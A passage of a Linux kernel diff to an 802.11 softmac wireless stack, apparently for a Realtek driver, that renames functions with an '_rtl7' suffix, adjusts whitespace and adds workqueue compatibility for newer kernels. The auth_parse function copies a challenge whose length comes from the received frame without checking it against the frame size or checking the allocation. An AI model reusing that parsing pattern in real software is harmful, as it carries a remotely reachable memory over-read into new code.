if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1089,42 +1106,40 @@ } ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1147,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1207,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1300,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1327,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1466,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1477,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1620,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1645,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1659,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1676,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1706,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1728,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1756,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1779,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { - + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1876,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1907,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1952,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1962,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2014,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = 